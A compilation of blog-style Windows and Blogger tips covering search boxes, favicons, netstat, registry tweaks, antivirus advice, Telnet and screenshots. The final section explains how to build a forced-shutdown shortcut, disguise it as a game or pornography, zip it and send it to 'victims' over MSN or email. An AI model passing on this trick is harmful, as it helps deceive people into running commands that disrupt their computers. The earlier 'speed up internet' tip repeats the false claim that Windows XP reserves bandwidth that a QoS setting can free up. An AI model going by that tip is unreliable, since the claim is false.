How to add search box in blogger

The Google Navigation bar at the top of your Blogger blogs has an embedded search box. However, you may want to include a similar box in the main body of your blog (like what I have done), or the sidebar. Other than the convenience for users, the added advantage is that unlike Google search box, the search results of this Blogger.com search box appear in the main body of your Blog.

Under Template->Page Elements tab, click “Add a Page Element” at the place where you want your search box to appear. Select “HTML/JavaScript”.

There are several HTML codes posted on the net. I tried a few, and found the one that works as follows:-

<p align="left"> <form id="searchthis" action="YOUR BLOG URL/search" style="display:inline;" method="get"> <strong>NAME OF YOUR BLOG<br/></strong> <input id="b-query" maxlength="255" name="q" size="20" type="text"/> <input id="b-searchbtn" value="Search" type="submit"/> </form></p>

Remember to change YOUR BLOG URL to the URL or web address of your Blog. Also, change the NAME OF YOUR BLOG to that which you want to call your site. For instance, if your Blog Name is long, you may want to write something like “Search Here” or “Search this site”.

How to add Favicon to Blogger

How to Create Your Own Favicon



Take a look at the icons on the right. Do you recognize any of them and the websites they go to? Many of them can be identified with a certain website by just looking them.
Favicons may be only 16×16 but they do have a very large impact on branding and your visitors web experience.




What should be your favicon?

It is hard sometimes to think of what image should be your favicon. It is not as simple as just resizing an image to 16×16 .ico formatted image. The problem that occurs is that not everything looks that great that small.

Usually you will attempt to resize part of your logo into a 16×16 space. If this does not work, you should either find or create a favicon that represents your websites theme. For example if your website is about cats, a favicon of a cat is a good idea. That is certainly an easy one, but you get the idea


What is the .ico format?

The .ico format is what your favicon needs to be saved as. In fact your favicon actually needs to be named favicon also. This format allows your browser to read the image and to display it on your tab bar, bookmarks, address bar, history and other areas.




Free websites that convert your images


Dynamic Drive Favicon Generator

Chami Favicon Generator




NOW upload the icon into some web folder, and create a link. You can read about using free hosts like Google Page Creator


UPLOAD YOUR ICON AND GET YOUR OWN .ico link


which looks like this http://yourname.googlepages.com/iconname.ico

where “yourname” is your Gmail account name, and “iconname” is the file name. Copy this URL.



Go back to your Blogger dashboard and under the Template tab, go to “Edit HTML”. Near the top you will see a line like this :-

<title><data:blog.pageTitle/></title>

Copy and paste the following code below the line :-

<link href='http://yourname.googlepages.com/iconname.ico' rel='shortcut icon' type='image/vnd.microsoft.icon'/>

Where “http://yourname.googlepages.com/iconname.ico”. is your icon file


NOW CLICK ON SAVE TEMPLATE








Other image types

The .ico image format has been used by many but you can also create an image under the .png or .gif format. Ensure that the size of the image is either 16x16 pixels or 32x32 pixels.

If you have a PNG format image, the link to insert is:-

<link href='http://yourname.googlepages.com/iconname.png' rel='shortcut icon' type='image/png'/>

If it is a GIF format image, the link is:-

<link href='http://yourname.googlepages.com/iconname.gif' rel='shortcut icon' type='image/gif'/>

Speed up Internet Surfing.

We can increase speed for surfing the internet in several way but today I have an easy way for you to speed up your internet surfing. The Windows XP normally limit the internet speed by reserving a part of bandwidth. In this easy way I just only change the Bandwidth Limit value to zero.




Go to Start > Run.


Type gpedit.msc then click OK. Windows XP will lead you to Group Policy page.


In your left hand of the page, click on Administrative Templates which is under Computer Configuration.

Double click Network which is in the right hand of the page.

Double click QoS Packet Scheduler

Double click on Limit Reserve Bandwidth

Select the Enabled option.

In this box let you change the value to zero and then click OK.

How to check other ip address connecting to your computer

It is beneficial for your computer to observe other IP address connecting to your computer. In this way, you are able to be careful of many hackers who can delve into your secret in your computer. That is very scary ! Today I give you a tip for checking IP address of others which are connecting to your computer. You can check even the IP address coming from MSN. Do these steps.



Go to Start > Run .


Type cmd and then press Enter. The Windows will bring you to the DOS screen.

In the DOS screen, type the command netstat -an and then press Enter.

Now the DOS screen shows the list of ip address and port numbers that connect to your computer such as game server, MSN, and various web host you are surfing.

Change Internet Explorer Logo

When you are surfing internet by Internet Explorer(IE), IE Logo in IE toolbar will indicate that Internet Explorer is working. Do you believe that you can change the logo image to whatever you want? Before you start to change it, you have to prepare your logo image. Your logo image have to be Bitmap file format, 22×22 pixel, and 256 color (16bit). You may use the ACDSee Program to costom the image. Ok, I suppose that you already had a logo image. Let’s begin now.





Click Start>Run.

Type regedit in the Run box and press Enter.

In the Registry Editor page, find the registry key

HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar


Right click on the Toolbar folder and select New>String Value.


Name the String Value to be SmBrandBitmap.


Double click SmBrandBitmap and specify the image path like c:\image.bmp then click Ok.


Open the IE browser. The IE Logo is already changed.

Protecting against Viruses and Worms

The Internet is a great place to be, but it's also dangerous. Virus and worms are deadly cretins that can have adverse effects on your computer and your productivity. Here are a few pointers to help you prevent the invasion of virus and worms on your system.



Invest in a good anti-virus software. There are many to choose from. The popular one being, Norton's Anti-virus, Dr. Solomon's Anti-virus and McAffee.

Frequently download the updates to the anti-virus you are using

Backup important data on a regular basis.

Never open email attachments from unknown sources.

Never download and install .exe files from personal web sites. For example, if you want a free software, it's better to download it from the developer's web site or from known and respected directories such as Tucows than from a web site of an individual.

Restrain yourself from downloading MicroSoft Office files from unfamiliar sites.

Increase the security level of your browser. For Internet Explorer version 4, go to View - Internet Options. Click on the Security tab and choose High or Medium security level.

Download and install updates for browsers and email programs you use. The MicroSoft site has a tool that automatically checks which security features your system needs. You can find more information about it here.

Keep yourself updated with annoucements on newly found virus and worms.


Extreme precaution

Ruthlessly delete emails with attachments.

Install two anti-virus scanners. No single anti-virus program is fool-proof. Using two at the same time increases your chances of detecting and deleting the virus/worm.

Disable receiving emails in html format.

Using Telnet on Windows

Telnet allows you to connect to another computer. Thus, your computer starts behaving like a terminal of the remote machine. In this tip, we look at how a successful Telnet session can be executed under Windows. Details on Telnet can be found here.
Telnet connections are established only when your computer is connected to the Internet. So, first start your ISP internet service.



Step 1

Click Start - Run. Type "telnet" in the pop-up window.

Step 2
The Telnet window opens up. Click on Connect - Remote System...






Step 3
You will find three fields in the Connect window. The first lets you specify the Host Name, the second one Port and the third, the Terminal Type.
You can use either the domain name or the IP address in the host name field. So, if I want to connect to my font site, I type www.fontmagic.com.
Select Telnet as the port and vt100 as the terminal type.
Click on the Connect button to start the telnet session.






Step 4
The program now tries to find the host and establish a link.
Once a connection has been successfully set up, a welcome message and a login prompt will be displayed in the window.






Step 4
The program now tries to find the host and establish a link.
Once a connection has been successfully set up, a welcome message and a login prompt will be displayed in the window.





Step 5
Type in the login name and hit the enter key. You would then be asked for the password. Note: What you type at the password prompt is not displayed on the screen.
Hit the enter key once again to send the password information to the remote machine.




You shall be prompted again if the login name and password are incorrect. However, if everything goes right, a prompt is displayed. Since Fontmagic is hosted on a Linux server, I get a Linux shell prompt.




The Telnet window now acts as a terminal of the remote machine and you can manipulate files, execute commands or run programs on the remote computer.

To close the telnet session, type "logout" at the prompt.

How to take a screen shot of a web site

There are times when you like to take a screen shot of a web site because you like the design or want to send information to a client. Whatever your reason might be, you don't need a dedicated screen capture program for this simple job. It's easy to do it from your keyboard.



Windows System

On Windows systems, hit your Print Screen key. This copies the screen and places it in your clipboard. Now open any image editor and click Edit - Paste. Save this new image in any format you want.
In order to capture only the active window (the window that has the focus), hit ALT + Print Screen.
You can use any image editor, Adobe PhotoShop, Paint Shop Pro, FireWorks or even Paint.
By the by, Paint Shop pro come along with a nifty screen capture utility found under Capture in the menu bar.

Macintosh System
On a Mac, hit Apple + Shift + 3.

Linux System
Linux systems usually come with a free screen capture utility. For example, you can find one under the KDE desktop.

Shutdown a Computer via MSN

Well it's not really a virus of a hack because it doesn't damage anything. But that aside what it will do is shutdown the victim’s computer, this can be put in MSN convos so it is VERY fun to have, and it can also be put in emails and such like things.

1) Right click on desk top, and then go New, then Shortcut.

2) Then in the "type location of the item" you want to type:
%windir%\system32\shutdown.exe -s -t 120 -c "This is a virus"


You can change "this is a virus" to anything you would like that’s just the message that will appear.
The 120 you typed in can also be change at will, this is simply the amount of time they receive in till there computer will shutdown.
Once the code has been entered as you have seen above click next.

My advice would be to rename it something like.... wicked game, hardcore porn. Depends on the victim’s age and sex. But make sure you call it something good or the victim won't bother clicking on it.
After you have given it a name click on finish.
You should now have an icon on your desktop that is called "wicked game" or whatever name you gave it.
It is also advised you change the icon to something different.

3) Change name and icon.

4) Now to send it to some one you need to make a compressed file.
This can be done by right clicking on the desktop, New, Compressed file (zipped)
Then another folder should appear on your desktop click on this and drag your shutdown virus into the zipped folder.

5) Once your shutdown virus is in your compressed folder rename it.
Make sure to give it a similar name as to the file inside it like "Great Game.zip"
Don’t forget to add the .zip at the end.
WARING! Make sure when you rename the compressed folder to add .zip at the end it is very important.

Now feel free to send it to anyone.

As a safe guard I will tell you how to stop the shutdown count down. Just encase you ever click it your self LOL
Ok go to start, run, type cmd, then in cmd type: shutdown -a
That’s about it have fun guys.
